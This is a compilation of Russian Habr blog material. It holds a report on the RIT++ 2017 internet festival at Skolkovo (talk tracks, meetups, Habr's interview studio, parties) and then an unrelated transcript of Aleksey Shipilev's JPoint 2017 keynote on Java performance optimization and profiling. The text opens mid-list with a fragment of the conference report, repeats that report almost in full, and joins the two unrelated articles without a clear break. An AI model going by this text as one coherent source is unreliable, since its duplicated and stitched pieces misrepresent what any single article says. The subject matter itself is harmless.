• Root Conf — конференция по эксплуатации и DevOps. Всё ожидаемо: много о DevOps, немного о Docker, мониторинге и других вопросах администрирования.
  
• High Load Junior — обучающая конференция разработчиков высоконагруженных систем. Это не подборка «лайтовых» докладов, как кто-то мог подумать, а глубокие обучающие доклады для начинающих, но уже секущих тему джуниоров. Некоторые доклады были хардкорнее, чем на осеннем Хайлоаде. Но главное — это чёткие и понятные инструкции, которые можно взять и перенести в свою повседневную работу. Кстати, в этот раз было много про DDoS-атаки и привычно много — про базы данных. Тон всему High Load Junior задал мужественный и умный доклад о MySQL от женственных и креативных Светы Смирновой и Насти Распопиной из Percona. Ну а докладом потока, заслуживающим гран-при по скромному мнению наших трансляторов, стал доклад Сергея Спорышева из компании ITSumma — он поведал полную историю создания Проект1917. Ума не приложим, почему этого захватывающего рассказа до сих пор нет в блоге ребят на Хабре!
  

Хайлоад-девушки Percona Света и Настя


Ребятам из ITSumma даже на конференции приходилось работать. Ещё бы, когда у них такие проекты! Юля строго следила за процессом

• Backend Conf— конференция бэкенд-разработчиков. Бэкенд есть бэкенд — крутые профильные обсуждения.
  

Митапы

Ещё одна форма работы экспертов на РИТ++ — многочисленные митапы. В небольших и больших залах собирались люди, которые обсуждали вопросы в острой дискуссионной форме. Впрочем, форма была заранее гарантирована содержанием. Вот только некоторые темы, на которые мы успели зайти на несколько минут и погреть уши:

• управление интеллектуальными активами
  
• DevOps
  
• релокация в Европу
  
• правовые вопросы
  
• создание фреймворка с чистого листа
  
• Tarantool
  
• TDD
  
• производительность и проч.
  

Судя по обсуждениям, особый интерес для участников представлял митап, а точнее, мастер-класс по микросервисам и Kubernetes. А ещё мы заметили, что в свободных мини-переговорных Сколково создавались стихийные митапы и мастер-классы — ещё одна хорошая традиция конференций Олега Бунина.

Да нормально всё было :) Главное, что конференция не портится, на ней по-прежнему много возможностей послушать самых-самых разных специалистов, расширить свой кругозор и углубить знания. Это было и остаётся самым главным. Всё остальное — мелочи. Впрочем, мне нравится что вы все время что-то меняете и добавляете. Само по себе это пользы может и не приносить, но есть ощущение динамики и стремления развиваться. Это воодушевляет.

Выделенные события

В рамках РИТ++ проходили отдельные потоки «под крылом» компаний — серии докладов, объединённые в одну конференцию. В этом году это были:

• Разработка и машинное обучение от SuperJob, Tarantool и Digital Security
  
• Микросервисы от Avito
  
• День PGDAY’17 Russia — много всего о базах данных и о PostgreSQL в частности.
  

PostgreSQL — родина слонов

Подобные секции позволяют общаться внутри узкой группы по интересам и уделить больше внимания практическим вопросам. Ну и конечно, это возможность продемонстрировать компаниям свой опыт, а участникам — свой. Иногда они друг друга находят.


Участники продолжают решать задачи на стенде Хабра

Кроме официальных мероприятий от организаторов, общение происходило непрерывно — в кулуарах, столовых, на диванах по периметру Сколково, на кофе-брейках и стендах компаний. Ради интереса мы подходили к небольшим группам, прислушивались — все разговоры касались опыта, лучших практик, работы. Собственно, тем и хороши подобные фестивали — ты возвращаешься на работу с идеями, а иногда и с готовыми решениями.


Наклейки Хабра разлетелись в мгновение ока

НЛО прилетело и оставило надписи там

Хабр давно нашёл свой уголок в Сколково, причём весьма нескромный — ещё бы, кроме стойки, нам нужно разместить целую студию, где мы брали интервью у самых интересных, ярких, узнаваемых спикеров. В этом году мы пошли на эксперимент и попросили одних профессионалов взять интервью у других профессионалов. Наша задумка была идеальной — разговоры легко клеились, это были целые обсуждения, выходящие за формат «вопрос-ответ».


Коварная паутина нашей студии заманивала самых лучших спикеров


Они грелись в лучах славы софитов

Мы отсняли более 10 часов видео и вот только-только стали выходить цельные ролики. Кстати, 47% участников отметили стенд Хабрахабра как наиболее полезный.


Наш продюсер нативных проектов Катя и Олег Бунин. «Вооот столько народу на РИТ++. Воооот такие планы на будущее».


Денис пришёл и оставил НЛО там


Угадайте, кто сидит спиной


Интересный разговор состоялся у основателя Хабра Дениса Крючкова с советником Президента по Интернету Германом Клименко. Вот это версус-баттл, а не то, что вы там на Youtube на 20 млн. просмотров насмотрели.



Хардкорное интервью с Иваном Васильевым, дизайн-директором Альфа-Банка:



Самое честное интервью с Петром Людвигом (английский):



Прекрасный Максим Дорофеев, «доктор-прокрастинолог». В интервью вы в том числе узнаете, какие слова нельзя говорить в студии:



В интервью была наша фишка — все собеседники общались не только с хабрарепортёрами, но и с самим НЛО, которое задавало резкие, короткие и провокационные вопросы. Некоторые даже терялись.

Хабрахабр традиционно не ограничился студией, а провёл круглый стол по вопросам HR и технологического евангелизма при участии евангелиста Александра Белоцерковского из Microsoft, devrel Avito Михаила Клюева, Александра Сербула из 1С-Битрикс и Ольги Белой из «Моего Круга». По ощущениям слушателей и ведущего, один час круглого стола пролетел как 10 минут. Местами было горячо!



Со спикерами было настолько интересно, что Марика была вынуждена прерывать ИТ-беседы с помощью суровых табличек:



Параллельно наши репортёры веди текстовый онлайн обоих дней конференции, накручивая по Сколково по 27 000 шагов в день.


Редкое фото — онлайн изнутри. А заодно и ноутбук одного из модераторов Хабра. Палится любитель сразу трёх браузеров! (на самом деле, там ещё и Firefox был)


НЛО иногда нуждается в техобслуживании

Коламбия не представляет, какой был хардкор

Однако сессиями конференций и докладами хардкор не ограничивался. В первый день в шатре мы отмечали день рождения Хабра и всем наливали изысканные сорта пива.


Помните Чёрного Властелина? Он был и там


Вдарим рок в этом инновационном центре!

А пока все потягивали хабрапиво, со сцены играли коллективы, состоящие из айтишников. Влажная тёплая погода немного разморила участников, и они неспеша общались во дворе.


Дождя не было, был приятный туман. Общались в тёплой во всех смыслах атмосфере


Настольные игры увлекли многих

В то же самое время чуть ли не до глубокой ночи на территории Сколково происходили горячие соревнования по киберспорту и неспешные турниры по настольным играм. Словами не передать степень азарта и эмоциональной напряжённости с площадки. Все буквально выгорали.


Ни одна фотография не передаст атмосферу соревнований по киберспорту. Это был накал

Ну ничего, утренняя спецзарядка это исправила.



Мастерами кунг-фу — не рождаются
Мастерами кунг-фу — становятся
Опасностей — не пугаются
Приемы точны — все сбудется...

We will rock you

А пока вы читаете этот пост, вовсю идёт подготовка к HighLoad++ — осень уже здесь, самое время поднять вопросы высоконагруженных проектов. Кстати, в этом году будут IoT и блокчейн. Готовьтесь!


Шаману просто сказали, что до HighLoad++ осталось совсем немного

Original source: habrahabr.ru (comments, light).

Эмоции были настолько сильны, что написать статью об интернет-фестивале мы решились только к концу лета, ждали, когда уляжется жара. Хотя на самом деле, ждали фото и видео из нашей мобильной студии. Итак, что же произошло 5-6 июня в Сколково?


Жизнь – скучная штука, и надо использовать любую возможность, чтобы заставить людей улыбаться (Э. Кустурица)

ИТ-шный Вавилон

Теоретически мы предполагали, что летний РИТ++ будет отличаться от осеннего HighLoad++, но совершенно ошиблись с вектором своих догадок. Казалось, что фестиваль Интернет-технологий будет более лайтовым, с меньшим количеством хардкорных докладов и с большим количеством участников, мало связанных с ИТ. Всё оказалось с точностью до наоборот — РИТ++ оказался фестивалем очень серьёзных, хардкорных технологий. Но от HighLoad его отличали люди — они были гораздо более включёнными, контактными и готовыми к диалогу. Хайлоад более интровертен, и это действительно заметно. Было 1800 участников, 14 параллельных потоков, 23 митапа, 16 стендов компаний.

Организаторы постарались формировать коммуникации внутри фестиваля: так, были организованы каналы в Slack и Telegram. В них активно шли обсуждения, происходила переписка, каждый участник мог спросить, попросить, оставить важное объявление, уточнить какие-то детали. Более того, каналы живы и активны до сих пор — в них задают вопросы, общаются, устраивают мини-бунты и флешмобы. В целом, это коммуникации, от которых не хочется отключаться даже спустя три месяца.

Немного отличались и стенды компаний — лето и публика внесли свои коррективы. Так, можно было насладиться крутыми граффити на стенде Avito, пообниматься с йети компании Vscale, угоститься мороженым с шоколадной крошкой и выпить прохладный лимонад.


Сложный, яркий стенд Avito — граффити и адрес компании на Хабре


Шаман нашаманил подарков и призов


Йети пользовался огромной популярностью. Как видите, кто-то даже умудрился напоить приветливое существо

Хабр тоже не остался в стороне — оба дня у нас проходил сложный экзамен, на котором мы давали решать задачи, собранные заранее у разных компаний. Некоторые добровольцы стояли у стенда по несколько часов и исчёркивали ручками лист за листом — вокруг нас царил азарт. И всё неспроста — кроме крутых наклеек и наклеек марафона, мы раздавали инвайты. Строго один в руки! А в конце второго дня у нас на стенде было пиво. Но о нём мы ещё расскажем, это отдельная эпопея.



Участники решают хабразадачи от компаний

Напротив нас был один из самых притягательных во всех смыслах этого слова стенд издательства Альпина Паблишер с сотнями книг по разработке, дизайну, презентациям и даже умных и полезных книг для детей. Мы нет-нет, да и подходили полистать очередное издание. Они все были прекрасны.

И вот среди этого Вавилона внезапно грянул разухабистый оркестр с прекрасными бодрящими мелодиями — так мог сделать только Кустурица. Верите-нет, но именно это событие задало задорный тон и энергичный темп всему мероприятию. Это было стопроцентное попадание.


Настроение на РИТ++ было замечательным: за окном тёплый дождик-туман, в Сколково — весело, умно, креативно

Но и на этом режиссёрская часть не закончилась — оба дня по Сколково ходил потрясающий шаман, лихо пританцовывая с симпатичными участницами под тогда ещё нетленку «Грибов» «Между нами тает лёд». Ещё бы этот шаман стабильное Интернет-соединение нашаманил, цены бы ему не было. Увы, перебои со скоростью интернета — технологическое проклятье инновационного центра Сколково. Это было, пожалуй, единственное, что иногда портило настроение.


Шаман никого не оставил равнодушным. Лиса тоже доставила

Кстати, оказался большим любителем российской попсы. А пока вы можете изучить устройство бубна


Даже шаман не смог пройти мимо наклеек с НЛО — так он усилил свои способности

Территория Интернета

Однако внешний блеск ничего не значит, если нет содержания. Содержание РИТ++ было настолько насыщенным, что наши два текстовых транслятора непрерывно ругались и разрывались между теми секциями, на которые хотели попасть. Любая аудитория могла найти доклады на свой вкус или поучаствовать в многочисленных событиях внутри РИТ++.

Секции с докладами

Весь РИТ++ был разделён на несколько тематических конференций. Причём выступления всех докладчиков секций были глубоко-тематическими. Что всегда радует на фестивалях Олега Бунина, так это время доклада — за один час можно успеть и отлично развернуть тему, и ответить на вопросы. Отсутствие технических накладок с презентациями и микрофонами превращает каждую секцию в непрерывный поток отборной и нужной информации.

• Whaile Rider — конференция по управлению и предпринимательству. Доклады этого потока отражали все направления управления компанией, от стратегических вопросов до детального разбора подготовки инфографики (совершенно потрясающий доклад) и поиска секретов эффективности работы техподдержки.
  

На некоторых докладах не хватало мест

• Aletheia Business — конференция по применению психологии в управлении и бизнесе. Если коротко — учились лучше разбираться в себе и в людях, говорили о карьере, лояльности и о том, почему русские люди не улыбаются. Вообще, в ходе РИТ++ было много обсуждений именно HR-аспектов IT-сферы и вопросов психологии. Хедлайнерами этого обсуждения стали Петр Людвиг со своим докладом «Конец прокрастинации» и Максим Дорофеев с идеей экономии мыслетоплива и потрясающими слайдами. Эти ребята в прямом смысле слова собрали зал, точнее, самый большой зал — конгресс-холл.
  

Пётр Людвиг пытался победить непобедимое. Или нет?

• Web-scale IT Conference — конференция на стыке enterprise и web-культур. Эта, на первый взгляд, расплывчатая по тематикам конференция, собрала в себе нестандартные обсуждения: государство + бизнес, микросервисы, омниканальность и т.д. Из того, что мы слышали в этом потоке, особенно нам понравился доклад Александра Тараторина из Райффайзенбанка о реальном DevOps в Enterprise — больше всего удивила структурированность и прозрачность того, как это сделано в банке. Казалось бы, косная функциональная оргструктура, а насколько современно всё решено.
  
• Frontend Conf — конференция фронтенд-разработчиков. Фронтенд есть фронтенд — говорили буквально обо всём.
  
• App’s Conf — конференция по разработке мобильных приложений занимала аж два зала. Вопросы интерфейсов, логики работы приложений, тестирования и дизайна обсуждали представители компаний, знающих толк в мобильной разработке как никто: Avito, Lamoda, 2ГИС, Mail.ru Group, Одноклассники, Яндекс, Сбербанк-Технологии и т.д.
  

• Root Conf — конференция по эксплуатации и DevOps. Всё ожидаемо: много о DevOps, немного о Docker, мониторинге и других вопросах администрирования.
  
• High Load Junior — обучающая конференция разработчиков высоконагруженных систем. Это не подборка «лайтовых» докладов, как кто-то мог подумать, а глубокие обучающие доклады для начинающих, но уже секущих тему джуниоров. Некоторые доклады были хардкорнее, чем на осеннем Хайлоаде. Но главное — это чёткие и понятные инструкции, которые можно взять и перенести в свою повседневную работу. Кстати, в этот раз было много про DDoS-атаки и привычно много — про базы данных. Тон всему High Load Junior задал мужественный и умный доклад о MySQL от женственных и креативных Светы Смирновой и Насти Распопиной из Percona. Ну а докладом потока, заслуживающим гран-при по скромному мнению наших трансляторов, стал доклад Сергея Спорышева из компании ITSumma — он поведал полную историю создания Проект1917. Ума не приложим, почему этого захватывающего рассказа до сих пор нет в блоге ребят на Хабре!
  

Хайлоад-девушки Percona Света и Настя


Ребятам из ITSumma даже на конференции приходилось работать. Ещё бы, когда у них такие проекты! Юля строго следила за процессом

• Backend Conf— конференция бэкенд-разработчиков. Бэкенд есть бэкенд — крутые профильные обсуждения.
  

Митапы

Ещё одна форма работы экспертов на РИТ++ — многочисленные митапы. В небольших и больших залах собирались люди, которые обсуждали вопросы в острой дискуссионной форме. Впрочем, форма была заранее гарантирована содержанием. Вот только некоторые темы, на которые мы успели зайти на несколько минут и погреть уши:

• управление интеллектуальными активами
  
• DevOps
  
• релокация в Европу
  
• правовые вопросы
  
• создание фреймворка с чистого листа
  
• Tarantool
  
• TDD
  
• производительность и проч.
  

Судя по обсуждениям, особый интерес для участников представлял митап, а точнее, мастер-класс по микросервисам и Kubernetes. А ещё мы заметили, что в свободных мини-переговорных Сколково создавались стихийные митапы и мастер-классы — ещё одна хорошая традиция конференций Олега Бунина.

Да нормально всё было :) Главное, что конференция не портится, на ней по-прежнему много возможностей послушать самых-самых разных специалистов, расширить свой кругозор и углубить знания. Это было и остаётся самым главным. Всё остальное — мелочи. Впрочем, мне нравится что вы все время что-то меняете и добавляете. Само по себе это пользы может и не приносить, но есть ощущение динамики и стремления развиваться. Это воодушевляет.

Выделенные события

В рамках РИТ++ проходили отдельные потоки «под крылом» компаний — серии докладов, объединённые в одну конференцию. В этом году это были:

• Разработка и машинное обучение от SuperJob, Tarantool и Digital Security
  
• Микросервисы от Avito
  
• День PGDAY’17 Russia — много всего о базах данных и о PostgreSQL в частности.
  

PostgreSQL — родина слонов

Подобные секции позволяют общаться внутри узкой группы по интересам и уделить больше внимания практическим вопросам. Ну и конечно, это возможность продемонстрировать компаниям свой опыт, а участникам — свой. Иногда они друг друга находят.


Участники продолжают решать задачи на стенде Хабра

Кроме официальных мероприятий от организаторов, общение происходило непрерывно — в кулуарах, столовых, на диванах по периметру Сколково, на кофе-брейках и стендах компаний. Ради интереса мы подходили к небольшим группам, прислушивались — все разговоры касались опыта, лучших практик, работы. Собственно, тем и хороши подобные фестивали — ты возвращаешься на работу с идеями, а иногда и с готовыми решениями.


Наклейки Хабра разлетелись в мгновение ока

НЛО прилетело и оставило надписи там

Хабр давно нашёл свой уголок в Сколково, причём весьма нескромный — ещё бы, кроме стойки, нам нужно разместить целую студию, где мы брали интервью у самых интересных, ярких, узнаваемых спикеров. В этом году мы пошли на эксперимент и попросили одних профессионалов взять интервью у других профессионалов. Наша задумка была идеальной — разговоры легко клеились, это были целые обсуждения, выходящие за формат «вопрос-ответ».


Коварная паутина нашей студии заманивала самых лучших спикеров


Они грелись в лучах славы софитов

Мы отсняли более 10 часов видео и вот только-только стали выходить цельные ролики. Кстати, 47% участников отметили стенд Хабрахабра как наиболее полезный.


Наш продюсер нативных проектов Катя и Олег Бунин. «Вооот столько народу на РИТ++. Воооот такие планы на будущее».


Денис пришёл и оставил НЛО там


Угадайте, кто сидит спиной


Интересный разговор состоялся у основателя Хабра Дениса Крючкова с советником Президента по Интернету Германом Клименко. Вот это версус-баттл, а не то, что вы там на Youtube на 20 млн. просмотров насмотрели.



Хардкорное интервью с Иваном Васильевым, дизайн-директором Альфа-Банка:



Самое честное интервью с Петром Людвигом (английский):



Прекрасный Максим Дорофеев, «доктор-прокрастинолог». В интервью вы в том числе узнаете, какие слова нельзя говорить в студии:



В интервью была наша фишка — все собеседники общались не только с хабрарепортёрами, но и с самим НЛО, которое задавало резкие, короткие и провокационные вопросы. Некоторые даже терялись.

Хабрахабр традиционно не ограничился студией, а провёл круглый стол по вопросам HR и технологического евангелизма при участии евангелиста Александра Белоцерковского из Microsoft, devrel Avito Михаила Клюева, Александра Сербула из 1С-Битрикс и Ольги Белой из «Моего Круга». По ощущениям слушателей и ведущего, один час круглого стола пролетел как 10 минут. Местами было горячо!



Со спикерами было настолько интересно, что Марика была вынуждена прерывать ИТ-беседы с помощью суровых табличек:



Параллельно наши репортёры веди текстовый онлайн обоих дней конференции, накручивая по Сколково по 27 000 шагов в день.


Редкое фото — онлайн изнутри. А заодно и ноутбук одного из модераторов Хабра. Палится любитель сразу трёх браузеров! (на самом деле, там ещё и Firefox был)


НЛО иногда нуждается в техобслуживании

Коламбия не представляет, какой был хардкор

Однако сессиями конференций и докладами хардкор не ограничивался. В первый день в шатре мы отмечали день рождения Хабра и всем наливали изысканные сорта пива.


Помните Чёрного Властелина? Он был и там


Вдарим рок в этом инновационном центре!

А пока все потягивали хабрапиво, со сцены играли коллективы, состоящие из айтишников. Влажная тёплая погода немного разморила участников, и они неспеша общались во дворе.


Дождя не было, был приятный туман. Общались в тёплой во всех смыслах атмосфере


Настольные игры увлекли многих

В то же самое время чуть ли не до глубокой ночи на территории Сколково происходили горячие соревнования по киберспорту и неспешные турниры по настольным играм. Словами не передать степень азарта и эмоциональной напряжённости с площадки. Все буквально выгорали.


Ни одна фотография не передаст атмосферу соревнований по киберспорту. Это был накал

Ну ничего, утренняя спецзарядка это исправила.



Мастерами кунг-фу — не рождаются
Мастерами кунг-фу — становятся
Опасностей — не пугаются
Приемы точны — все сбудется...

We will rock you

А пока вы читаете этот пост, вовсю идёт подготовка к HighLoad++ — осень уже здесь, самое время поднять вопросы высоконагруженных проектов. Кстати, в этом году будут IoT и блокчейн. Готовьтесь!


Шаману просто сказали, что до HighLoad++ осталось совсем немного

Original source: habrahabr.ru (comments, light).

Оптимизация производительности издавна не дает покоя разработчикам, представляясь своеобразным «золотым ключиком» к интересным решениям и хорошему послужном списку. Большую обзорную экскурсию по ключевым вехам оптимизации больших проектов  – от общих принципов до ловушек и противоречий —  на прошедшем JPoint 2017 провел Алексей Шипилёв, эксперт по производительности.



Под катом — расшифровка его доклада.

А вот тут можно найти саму презентацию: jpoint-April2017-perf-keynote.pdf

О спикере
Алексей Шипилёв — в проблематике производительности Java более 10 лет. Сейчас работает в Red Hat, где разрабатывает OpenJDK и занимается его производительностью. Разрабатывает и поддерживает несколько подпроектов в OpenJDK, в том числе JMH, JOL и JCStress. До Red Hat работал над Apache Harmony в Intel, а затем перешел в Sun Microsystems, которая была поглощена Oracle. Активно участвует в экспертных группах и сообществах, работающих над вопросами производительности и многопоточности.

Я работаю в компании Red Hat. Раньше, когда я работал в Oracle, мы вставляли «Safe Harbor»-слайды, которые говорили, что всё, что мы будем вам рассказывать, на самом деле может быть неправдой, поэтому нужно думать своей головой. Если вы пытаетесь внедрить какие-нибудь решения в свои продукты, неплохо было бы нанять профессионалов, которые вам скажут, что там правда, а что — нет.

Крупно: каковы критерии успеха в разработке

Предположим, вы разрабатываете продукт. Что для вас успешный продукт? Мы тут все — коммерческие программисты. Мы можем обманывать себя тем, что нам платят зарплату за то, что мы кодим. Но на самом деле нам платят зарплату для того, чтобы продавались либо сервисы, которые продукты обслуживают, либо продукты целиком.



Но какие существуют чисто разработческие критерии успешности продукта (без учета бизнес-цели)?

• Когда ты общаешься с программистами, они обычно говорят, что хороший (успешный) продукт — тот, у которого корректная реализация.
  
• Потом приходят безопасники и говорят: «Вы там, конечно, накодили, но неплохо было бы сделать так, чтобы там не было дырок. Потому что иначе мы-то продадим, но потом нас в суд потащат». Однако это тоже не главное.
  
• Главный критерий успешности проекта — это соответствие того, что получилось, желаниям пользователя. Конечно, если у нас есть хороший маркетинговый департамент, он может объяснить клиенту, что результат — это именно то, что он хочет. Но в большинстве случаев хочется, чтобы клиент сам это понял. Очень много программистов как бы на подкорке это имеют в виду, но очень мало людей это прямо вербализируют.
  
• Где-то на четвёртом месте — быстрота и удобство разработки. Это удобство и не сумасшествие программистов. Когда вы во время найма разговариваете с HR-ами, они будут обещать всякие плюшки, массаж и тому подобное, но на самом деле бизнесу всё равно, как вам там живётся, при условии, что вы всё ещё работаете и не собираетесь уходить. И что код написан условно хорошо, а не так, что вы хотите выброситься из окна или пойти работать в другую компанию.
  
• Производительность обычно стоит ещё ниже в списке приоритетов. Часто её даже нет в критериях успеха. Продукт хоть как-то шевелится, да и слава Богу.
  

Поэтому я удивляюсь, когда читаю на Хабре посты про производительность Java и вижу там подобные комментарии:



Эксперты говорят: «Ну а что говорить по производительность Java? Она работает нормально. Нас устраивает, всё хорошо». Но приходят комментаторы и отвечают: «Очень показательно, что никто из четырех экспертов не оценил Java, как быструю. Скорее, как достаточную и удовлетворяющую».

Вы говорите так, будто это плохо. Если с точки зрения бизнеса технология удовлетворяет бизнес-критериям, то и слава Богу! У меня нет идеалистических представлений о том, что всё должно быть вылизано, гладко, идеально. Так не бывает — обычно продукты содержат ошибки.

Корректная vs быстрая программа

Люди давно научились некоторому двойному мышлению по поводу корректности программ. (спрашивает в зал) Кто может честно сказать, что в его программах есть баги? (в зале много рук) Подавляющее большинство. Но все же считают, что их программы более-менее корректны. Понятие корректной программы обладает симметрией с понятием быстрой программы.



«Корректная программа» — это программа, в которой не видно бесящих пользователя ошибок. То есть ошибки там вообще-то есть, но они не заставляют пользователя отказаться от покупки продукта. С «быстрой программой» симметричная ситуация — в ней не то, чтобы нет перформансных проблем, просто эти проблемы не бьют пользователя по темечку каждый раз, когда он пытается что-то сделать.

«В критерии успеха вложились». Критерии успеха есть как функциональные, так и перформансные: хорошо, если программа отвечает за 100 миллисекунд. Отвечает? Отлично, едем дальше.

«Количество багов в корректной программе обычно известно». Это как раз одна из показательных метрик взрослости проекта, поскольку ноль багов в программе означает, что никто толком не заботится о том, чтобы их в багтрекере регистрировать (потому что у вас и пользователей нет, ха-ха!). С перформансными проблемами такая же история. Перформансные проблемы известны, и тогда мы говорим, что это «быстрая» программа. (делает воздушные кавычки)


Как в корректной, так и в быстрой программе пути обхода этих перформансных и функциональных багов известны. У вас есть FAQ, который говорит: «Если вы сделаете так, то будет больно; ну дак и не делайте так».

Стадии развития проектов — кривая им. Ш

Практически все проекты, где я участвовал в перформансной работе, проходят некоторые стандартные фазы развития. Когда-то я сформулировал, что эти фазы выглядят примерно так:



Это параметрический график: время тут течет от точки «A» до точки «B», «C», «D», «E». По оси ординат у нас производительность, по оси абсцисс — некоторая абстрактная сложность кода.

Обычно всё начинается с того, что люди велосипедят прототип, который медленно, но работает. Он достаточно сложен, потому что мы навелосипедили просто так, чтобы он не разваливался под собственным весом.

После того как начинается оптимизация — потихонечку начинается переписывание разных частей. Находясь в этой зелёной зоне, разработчики обычно берут профайлеры и переписывают куски кода, которые написаны очевидно ужасно. Это одновременно снижает сложность кода (потому что вы выпиливаете плохие куски) и улучшает производительность.

В точке «B» проект достигает некоторого субъективного пика «красоты», когда у нас вроде и перформанс хороший, и в продукте всё неплохо.

Далее, если разработчикам хочется ещё производительности, они переходят в жёлтую зону, когда берут более точный профайлер, пишут хорошие рабочие нагрузки и аккуратненько закручивают гайки. В этом процессе они там делают вещи, которые они бы не делали, если бы не производительность.

Если хочется ещё дальше, то проект приходит в некоторую красную зону, когда разработчики начинают корежить свой продукт, чтобы получить последние проценты производительности. Что делать в этой зоне — не очень понятно. Есть рецепт, по крайней мере, для этой конференции — идёте на JPoint/JokerConf/JBreak и пытаете разработчиков продуктов, как писать код, повторяющий кривизну нижних слоёв. Потому что, как правило, в красной зоне возникают штуки, которые повторяют проблемы, возникающие на нижних слоях.

Остальная часть доклада подробно рассказывает про то, что обычно происходит в этих зонах.

Зелёная зона

Мотивационная карточка зелёной зоны — это борьба с заусенцами в коде грубой силой:



Грубая сила означает, что не надо точных инструментов — просто берём и делаем. В зелёной зоне есть некоторые ментальные ловушки.

Моя любимая звучит так: «Профилировать нормально или никак»:



Я постоянно слышу: «Послушайте доклады Шипилёва, он вам скажет, что профилировать нужно нормально или никак». Я ни разу этого не говорил. Когда вы в зелёной зоне, точность диагностики влияет очень мало. И, вообще говоря, профилировка вам нужна, чтобы понять, какую часть из того «микросервисного монолита», который вы умудрились написать, вам нужно переписать в первую очередь.

Профилирование и диагностика

Если вы посмотрите на блоги разных классных перформансных чуваков, например, Брендана Грегга, он будет показывать такие страшные диаграммы, говорить, что вот такими инструментами можно посмотреть туда-сюда:



Многие говорят, когда смотрят на эти диаграммы: «Перформанс — это очень сложно, и мы не будем этим заниматься». Хотя на самом деле мысль Брендана не об этом. Она о том, что существуют достаточно простые способы быстро оценить, что в приложении происходит. Когда у нас есть хотя бы крупноклеточное понимание, нам гораздо лучше.

Поэтому диагностика в зелёной зоне опирается на очень простую мысль: мы не должны бояться смотреть на наше приложение. Даже крупноклеточное понимание, чего нам из ресурсов не хватает в нашем стеке, уже даст нам некоторую идею о том, на что стоит обращать внимание, а на что — нет. Даже если какую-нибудь полносистемную профилировку сделать, уже будет примерно понятно, где у вас bottleneck.

Профилирование

Наша цель в зелёной зоне — примерно понять, где мы проводим время.



Даже наивный профайлер, который вы можете собрать из палок и желудей, даст вам достаточно информации, чтобы совершать осознанные действия в зелёной зоне.

Если у вас есть продакшн, на который злые админы не дают устанавливать профайлер, можно просто через ssh взять jstack и сделать «while true; do jstack; sleep 1; done». Собрать тысячу этих jstack, агрегировать их. Это и будет «наколеночный» профайлер, который уже даст достаточно понимания, что в вашем продукте плохо.

Даже если вы руками расставите stopwatch-и в продукте и оцените, что в этой части продукта вы проводите 80% времени, а в этой — 20%, — это уже будет лучше, чем просто гадать на кофейной гуще о том, что будет, если мы в случайно попавшемся классе, написанном Васей в 2005 году, что-то поправим.

Измерение производительности

Следующая ментальная ловушка, связанная с профилированием, говорит, что производительность нужно измерять или нормально, или вообще никак.



Я про это постоянно слышу. Но в зелёной зоне улучшения «плюс-минус километр» обычно можно и глазками увидеть. Обычно это говорят в контексте «у вас плохой бенчмарк, он ничего не показывает, потому что он написан плохо, а нужно правильно мерить производительность», а в то же время у вас там грабля, которую видно практически на любом ворклоаде.

Мораль

Мораль очень простая: в зелёной зоне даже тривиальные нагрузочные тесты покажут вам крупные огрехи.



Я видел случаи, когда люди тратят недели на то, чтобы написать нагрузочные тесты на JMeter, вместо того, чтобы положить публичную ссылку в какой-нибудь Twitter и получить кучу народа, который придёт на бета-тестирование и повалит ваше приложение (а вам останется только сидеть с профайлером и смотреть, где же там упало). Даже обычный Apache Bench достаточно хорошо показывает крупные огрехи.

Чем раньше вы в разработке получите эти перформансные данные о крупных огрехах, тем быстрее вы сможете их исправить. Это вам тем более поможет планировать работы по производительности.

Пример-сюрприз

Я как-то недавно взял JDK 9 Early Access и подумал: надо бы попробовать построить мои проекты с ним, вдруг там что-то поменялось!



Я строю, а у меня время компиляции подрастает с 2 минут до 8. Внезапно. Нужно ли мне в такой ситуации писать какой-то аккуратный бенчмарк на это, доказывать, что это действительно регрессия?



Конечно, нет. У меня в билде есть конкретный баг, он воспроизводим. В профайлере можно обнаружить, что там есть call stack, который ведет в известное место в javac. В этом javac находишь исходный код, и там обнаруживается квадратичный цикл.

Нужно ли доказывать, что это проблема, когда у вас есть: а) ворклоад, на котором плохо; б) когда у вас есть профиль, который показывает туда, и в) теоретические размышления, что квадратичный цикл — это плохо? Нет, этого достаточно.

Оптимизация

Ещё одна ментальная ловушка: «Преждевременная оптимизация — корень всего зла».



Кнут, конечно, ещё жив и здравствует. Но я не знаю, насколько ему икается каждый раз, когда кто-то вспоминает эту фразу, потому что её обычно вспоминают неправильно. Кнут говорил о том, что преждевременная оптимизация — корень всего зла в 99,7% случаев, потому что люди не понимают, где им нужно оптимизировать. Когда вы в зелёной зоне, вам всё равно. Вы всё равно переписываете ваш прекрасный код. Профилировка вам нужна для того, чтобы определить, что переписывать в первую очередь.

Какие заходы там есть?

Как правило, улучшение производительности там в основном от переписывания «плохого» кода на «хороший». Но «плохой» и «хороший» — в какой-то степени субъективная вкусовщина. Спроси нескольких программистов: один скажет, что надо вот так, так красиво; а другой скажет: «Что ты тут понаписал!». Всё это, конечно, может быть вкусовщиной, но может быть и выстраданными приемами, в том числе выстраданными вами или Джошуа Блохом, который написал книжку «Effective Java».



Например, эффективные структуры данных. Я знаю проекты, в которых глобальный s/LinkedList/ArrayList/g улучшил производительность без всяких раздумий над. Есть случаи, когда LinkedList быстрее, но эти случаи очень специальные, и их обычно видно невооруженным взглядом.

Можно внезапно обнаружить, что у вас линейный поиск по ArrayList в месте, где можно использовать HashMap. Или у вас итерация по паре keySet и get, который можно поменять на entrySet, или навелосипедили свой bubbleSort и вдруг внезапно оказалось, что туда приходят коллекции по миллиону элементов, и вы там проводите кучу времени, и так далее.

Подитог зелёной зоны

Профилирование — необходимая часть ежедневной разработки.

По-моим наблюдениям, 95% перформансных проблем решается на первых же заходах профилировки. Вне зависимости от того, какой сложности проект, какие бы опытные люди его ни разрабатывали, когда ты показываешь людям первую профилировку их проекта, у них возникает гамма эмоций, в частности, «какие же мы идиоты». Потому что более 90% этих проблем тривиально разрешимы и по идее должны были быть пойманы ещё до коммита.

Если вы — техлид, архитектор, технический директор или занимаете какую-то другую руководящую техническую должность и хотите производительности, то, пожалуйста, сделайте так, чтобы в проекте были четкие инструкции по запуску профилировщиков. Если у вас есть однострочник, или однокнопочник, или у вас есть веб-приложение, у которого есть APM, — то очень хорошо! У девелопера всегда должен быть способ быстро это сделать.

